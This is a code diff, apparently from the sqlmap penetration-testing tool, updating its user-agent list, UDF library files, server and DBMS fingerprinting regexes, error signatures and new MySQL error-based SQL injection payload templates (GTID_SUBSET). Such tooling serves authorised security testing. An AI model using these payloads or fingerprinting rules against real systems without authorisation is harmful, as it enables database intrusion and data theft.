@@ -4183,3 +4183,92 @@ Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-HK) AppleWebKit/533.18.1 (KHTML, lik
 Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-TW) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10
 Mozilla/5.0 (X11; U; Linux x86_64; en-ca) AppleWebKit/531.2+ (KHTML, like Gecko) Version/5.0 Safari/531.2+
 Mozilla/5.0 (X11; U; Linux x86_64; en-us) AppleWebKit/531.2+ (KHTML, like Gecko) Version/5.0 Safari/531.2+
 # https://techblog.willshouse.com/2012/01/03/most-common-user-agents/ (Note: Updated December 28th 2020)
 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.1 Safari/605.1.15
 Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
 Mozilla/5.0 (X11; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0
 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0
 Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
 Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Safari/605.1.15
 Mozilla/5.0 (X11; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0
 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:83.0) Gecko/20100101 Firefox/83.0
 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.1 Safari/605.1.15
 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36
 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Safari/605.1.15
 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
 Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.60
 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0
 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.66
 Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.57
 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.101 Safari/537.36
 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:83.0) Gecko/20100101 Firefox/83.0
 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 OPR/72.0.3815.400
 Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:84.0) Gecko/20100101 Firefox/84.0
 Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36
 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.47
 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.55
 Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36
 Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
 Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.52
 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Safari/605.1.15
 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Safari/605.1.15
 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36
 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
 Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 OPR/72.0.3815.400
 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:84.0) Gecko/20100101 Firefox/84.0
 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.1 Safari/605.1.15
 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36
 Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
 Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
 Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36
 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.92 Safari/537.36
 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:83.0) Gecko/20100101 Firefox/83.0
 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1 Safari/605.1.15
 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36
 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15
 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36 OPR/72.0.3815.320
 Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0
 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:82.0) Gecko/20100101 Firefox/82.0
 Mozilla/5.0 (X11; Linux x86_64; rv:82.0) Gecko/20100101 Firefox/82.0
 Mozilla/5.0 (Linux; U; Android 4.3; en-us; SM-N900T Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
 Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
 Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:77.0) Gecko/20100101 Firefox/77.0
 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:84.0) Gecko/20100101 Firefox/84.0
 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15
 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36
 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36
 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 OPR/73.0.3856.284
--- a/data/udf/mysql/linux/32/lib_mysqludf_sys.so_
+++ b/data/udf/mysql/linux/32/lib_mysqludf_sys.so_
--- a/data/udf/mysql/linux/64/lib_mysqludf_sys.so_
+++ b/data/udf/mysql/linux/64/lib_mysqludf_sys.so_
--- a/data/udf/mysql/windows/32/lib_mysqludf_sys.dll_
+++ b/data/udf/mysql/windows/32/lib_mysqludf_sys.dll_
--- a/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_
+++ b/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_
--- a/data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/32/9.5/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/32/9.5/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/32/9.6/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/32/9.6/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/64/10/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/64/10/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/64/12/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/64/12/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/64/9.5/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/64/9.5/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/64/9.6/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/64/9.6/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_
+++ b/data/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_
--- a/data/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_
+++ b/data/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_
--- a/data/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_
+++ b/data/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_
--- a/data/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_
+++ b/data/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_
--- a/data/xml/banner/generic.xml
+++ b/data/xml/banner/generic.xml
@@ -34,7 +34,7 @@
    <!-- Reference: https://msdn.microsoft.com/en-us/library/windows/desktop/ms724832%28v=vs.85%29.aspx -->
    <regexp value="Windows.*\b10\.0">
-        <info type="Windows" distrib="2016|10"/>
+        <info type="Windows" distrib="2019|2016|10"/>
    </regexp>
    <regexp value="Windows.*\b6\.3">
@@ -151,7 +151,7 @@
        <info type="Linux" distrib="Ubuntu"/>
    </regexp>
-    <!-- Unices -->
+    <!-- BSD -->
    <regexp value="FreeBSD">
        <info type="FreeBSD"/>
--- a/data/xml/banner/mysql.xml
+++ b/data/xml/banner/mysql.xml
@@ -64,6 +64,10 @@
        <info dbms_version="1" type="Linux" distrib="Debian" release="12" codename="bookworm"/>
    </regexp>
    <regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+trixie">
        <info dbms_version="1" type="Linux" distrib="Debian" release="13" codename="trixie"/>
    </regexp>
    <regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+(sid|unstable)">
        <info dbms_version="1" type="Linux" distrib="Debian" codename="unstable"/>
    </regexp>
--- a/data/xml/banner/server.xml
+++ b/data/xml/banner/server.xml
@@ -10,7 +10,7 @@
    <!-- Microsoft IIS -->
    <regexp value="Microsoft-IIS/(10\.0)">
-        <info technology="Microsoft IIS" tech_version="1" type="Windows" distrib="2016|10"/>
+        <info technology="Microsoft IIS" tech_version="1" type="Windows" distrib="2019|2016|10"/>
    </regexp>
    <regexp value="Microsoft-IIS/(8\.5)">
@@ -74,23 +74,27 @@
    <!-- Apache: CentOS -->
    <regexp value="Apache/2\.0\.46 \(CentOS\)">
-        <info type="Linux" distrib="CentOS" release="3.9"/>
+        <info type="Linux" distrib="CentOS" release="3"/>
    </regexp>
    <regexp value="Apache/2\.0\.52 \(CentOS\)">
-        <info type="Linux" distrib="CentOS" release="4.9"/>
+        <info type="Linux" distrib="CentOS" release="4"/>
    </regexp>
    <regexp value="Apache/2\.2\.3 \(CentOS\)">
-        <info type="Linux" distrib="CentOS" release="5.10"/>
+        <info type="Linux" distrib="CentOS" release="5"/>
    </regexp>
    <regexp value="Apache/2\.2\.15 \(CentOS\)">
-        <info type="Linux" distrib="CentOS" release="6.8"/>
+        <info type="Linux" distrib="CentOS" release="6"/>
    </regexp>
    <regexp value="Apache/2\.4\.6 \(CentOS\)">
-        <info type="Linux" distrib="CentOS" release="7-1708"/>
+        <info type="Linux" distrib="CentOS" release="7"/>
    </regexp>
    <regexp value="Apache/2\.4\.37 \(CentOS\)">
        <info type="Linux" distrib="CentOS" release="8"/>
    </regexp>
    <!-- Apache: Debian -->
@@ -131,36 +135,32 @@
        <info type="Linux" distrib="Debian" release="3.1" codename="sarge"/>
    </regexp>
    <regexp value="Apache/1\.3\.34 \(Debian GNU\/Linux\)">
        <info type="Linux" distrib="Debian" release="4.0" codename="etch"/>
    </regexp>
    <regexp value="Apache/2\.2\.3 \(Debian\)">
-        <info type="Linux" distrib="Debian" release="4.0" codename="etch"/>
+        <info type="Linux" distrib="Debian" release="4" codename="etch"/>
    </regexp>
    <regexp value="Apache/2\.2\.6 \(Debian\)">
        <info type="Linux" distrib="Debian" release="4.0" codename="etch" updated="True"/>
    </regexp>
    <regexp value="Apache/2\.2\.9 \(Debian\)">
-        <info type="Linux" distrib="Debian" release="5.0" codename="lenny"/>
+        <info type="Linux" distrib="Debian" release="5" codename="lenny"/>
    </regexp>
    <regexp value="Apache/2\.2\.16 \(Debian\)">
-        <info type="Linux" distrib="Debian" release="6.0" codename="squeeze"/>
+        <info type="Linux" distrib="Debian" release="6" codename="squeeze"/>
    </regexp>
    <regexp value="Apache/2\.2\.22 \(Debian\)">
-        <info type="Linux" distrib="Debian" release="7.0" codename="wheezy"/>
+        <info type="Linux" distrib="Debian" release="7" codename="wheezy"/>
    </regexp>
    <regexp value="Apache/2\.4\.10 \(Debian\)">
-        <info type="Linux" distrib="Debian" release="8.0" codename="jessie"/>
+        <info type="Linux" distrib="Debian" release="8" codename="jessie"/>
    </regexp>
    <regexp value="Apache/2\.4\.25 \(Debian\)">
-        <info type="Linux" distrib="Debian" release="9.0" codename="stretch"/>
+        <info type="Linux" distrib="Debian" release="9" codename="stretch"/>
    </regexp>
    <regexp value="Apache/2\.4\.38 \(Debian\)">
        <info type="Linux" distrib="Debian" release="10" codename="buster"/>
    </regexp>
    <!-- Apache: Fedora -->
@@ -293,6 +293,31 @@
        <info type="Linux" distrib="Fedora" release="27"/>
    </regexp>
    <regexp value="Apache/2\.4\.33 \(Fedora\)">
        <info type="Linux" distrib="Fedora" release="28"/>
    </regexp>
    <regexp value="Apache/2\.4\.34 \(Fedora\)">
        <info type="Linux" distrib="Fedora" release="29"/>
    </regexp>
    <regexp value="Apache/2\.4\.39 \(Fedora\)">
        <info type="Linux" distrib="Fedora" release="30"/>
    </regexp>
    <regexp value="Apache/2\.4\.41 \(Fedora\)">
        <info type="Linux" distrib="Fedora" release="31"/>
    </regexp>
    <regexp value="Apache/2\.4\.43 \(Fedora\)">
        <info type="Linux" distrib="Fedora" release="32"/>
    </regexp>
    <regexp value="Apache/2\.4\.46 \(Fedora\)">
        <info type="Linux" distrib="Fedora" release="33"/>
    </regexp>
    <!-- Apache: FreeBSD -->
    <regexp value="Apache/2\.0\.16 \(FreeBSD\)">
@@ -407,6 +432,14 @@
        <info type="FreeBSD" release="11.1"/>
    </regexp>
    <regexp value="Apache/2\.4\.39 \(FreeBSD\)">
        <info type="FreeBSD" release="11.3"/>
    </regexp>
    <regexp value="Apache/2\.4\.46 \(FreeBSD\)">
        <info type="FreeBSD" release="12.2"/>
    </regexp>
    <!-- Apache: Mandrake / Mandriva -->
    <regexp value="Apache/1\.3\.6 \(Unix\)\s+\(Mandrake/Linux\)">
@@ -587,6 +620,10 @@
        <info type="Linux" distrib="Red Hat" release="Enterprise 7" codename="Maipo"/>
    </regexp>
    <regexp value="Apache/2\.4\.37 \(Red Hat\)">
        <info type="Linux" distrib="Red Hat" release="Enterprise 8" codename="Ootpa"/>
    </regexp>
    <!-- Apache: SuSE -->
    <regexp value="Apache/1\.3\.6 \(Unix\) \(SuSE/Linux\)">
@@ -714,6 +751,14 @@
        <info type="Linux" distrib="SuSE" release="42.2|42.3"/>
    </regexp>
    <regexp value="Apache/2\.4\.33 \(Linux/SuSE\)">
        <info type="Linux" distrib="SuSE" release="15"/>
    </regexp>
    <regexp value="Apache/2\.4\.43 \(Linux/SuSE\)">
        <info type="Linux" distrib="SuSE" release="15.2"/>
    </regexp>
    <!-- Apache: Ubuntu -->
    <regexp value="Apache/2\.0\.50 \(Ubuntu\)">
@@ -800,6 +845,22 @@
        <info type="Linux" distrib="Ubuntu" release="17.10" codename="artful"/>
    </regexp>
    <regexp value="Apache/2\.4\.29 \(Ubuntu\)">
        <info type="Linux" distrib="Ubuntu" release="18.04" codename="bionic"/>
    </regexp>
    <regexp value="Apache/2\.4\.34 \(Ubuntu\)">
        <info type="Linux" distrib="Ubuntu" release="18.10" codename="cosmic"/>
    </regexp>
    <regexp value="Apache/2\.4\.38 \(Ubuntu\)">
        <info type="Linux" distrib="Ubuntu" release="19.04" codename="disco"/>
    </regexp>
    <regexp value="Apache/2\.4\.41 \(Ubuntu\)">
        <info type="Linux" distrib="Ubuntu" release="19.10|20.04" codename="eoan|focal"/>
    </regexp>
    <!-- Nginx -->
    <regexp value="nginx$">
--- a/data/xml/banner/x-powered-by.xml
+++ b/data/xml/banner/x-powered-by.xml
@@ -19,6 +19,22 @@
        <info technology="EasyEngine" tech_version="1"/>
    </regexp>
    <regexp value="Phusion Passenger ([\d\.]+)">
        <info technology="Phusion Passenger" tech_version="1"/>
    </regexp>
    <regexp value="Craft CMS">
        <info technology="Craft CMS"/>
    </regexp>
    <regexp value="Express">
        <info technology="Express"/>
    </regexp>
    <regexp value="WP Engine">
        <info technology="WP Engine"/>
    </regexp>
    <regexp value="PleskLin">
        <info technology="Plesk" type="Linux"/>
    </regexp>
--- a/data/xml/errors.xml
+++ b/data/xml/errors.xml
@@ -42,7 +42,7 @@
        <error regexp="\bSQL Server[^&lt;&quot;]+Driver"/>
        <error regexp="Warning.*?\W(mssql|sqlsrv)_"/>
        <error regexp="\bSQL Server[^&lt;&quot;]+[0-9a-fA-F]{8}"/>
-        <error regexp="System\.Data\.SqlClient\.SqlException"/>
+        <error regexp="System\.Data\.SqlClient\.(SqlException|SqlConnection\.OnError)"/>
        <error regexp="(?s)Exception.*?\bRoadhouse\.Cms\."/>
        <error regexp="Microsoft SQL Native Client error '[0-9a-fA-F]{8}"/>
        <error regexp="\[SQL Server\]"/>
@@ -55,6 +55,7 @@
        <error regexp="com\.microsoft\.sqlserver\.jdbc"/>
        <error regexp="Pdo[./_\\](Mssql|SqlSrv)"/>
        <error regexp="SQL(Srv|Server)Exception"/>
        <error regexp="Unclosed quotation mark after the character string"/>
    </dbms>
    <dbms value="Microsoft Access">
@@ -83,7 +84,7 @@
        <error regexp="CLI Driver.*?DB2"/>
        <error regexp="DB2 SQL error"/>
        <error regexp="\bdb2_\w+\("/>
-        <error regexp="SQLSTATE.+SQLCODE"/>
+        <error regexp="SQLCODE[=:\d, -]+SQLSTATE"/>
        <error regexp="com\.ibm\.db2\.jcc"/>
        <error regexp="Zend_Db_(Adapter|Statement)_Db2_Exception"/>
        <error regexp="Pdo[./_\\]Ibm"/>
@@ -217,4 +218,17 @@
        <error regexp="encountered after end of query"/>
        <error regexp="A comparison operator is required here"/>
    </dbms>
    <dbms value="Raima Database Manager">
        <error regexp="-10048: Syntax error"/>
        <error regexp="rdmStmtPrepare\(.+?\) returned"/>
    </dbms>
    <dbms value="Virtuoso">
        <error regexp="SQ074: Line \d+:"/>
        <error regexp="SR185: Undefined procedure"/>
        <error regexp="SQ200: No table "/>
        <error regexp="Virtuoso S0002 Error"/>
        <error regexp="\[(Virtuoso Driver|Virtuoso iODBC Driver)\]\[Virtuoso Server\]"/>
    </dbms>
 </root>
--- a/data/xml/payloads/error_based.xml
+++ b/data/xml/payloads/error_based.xml
@@ -91,6 +91,46 @@
        </details>
    </test>
    <test>
        <title>MySQL &gt;= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)</title>
        <stype>2</stype>
        <level>4</level>
        <risk>1</risk>
        <clause>1,2,3,8,9</clause>
        <where>1</where>
        <vector>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
        <request>
            <payload>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>MySQL</dbms>
            <dbms_version>&gt;= 5.6</dbms_version>
        </details>
    </test>
    <test>
        <title>MySQL &gt;= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)</title>
        <stype>2</stype>
        <level>4</level>
        <risk>3</risk>
        <clause>1,8,9</clause>
        <where>1</where>
        <vector>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
        <request>
            <payload>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>MySQL</dbms>
            <dbms_version>&gt;= 5.6</dbms_version>
        </details>
    </test>
    <test>
        <title>MySQL &gt;= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)</title>
        <stype>2</stype>
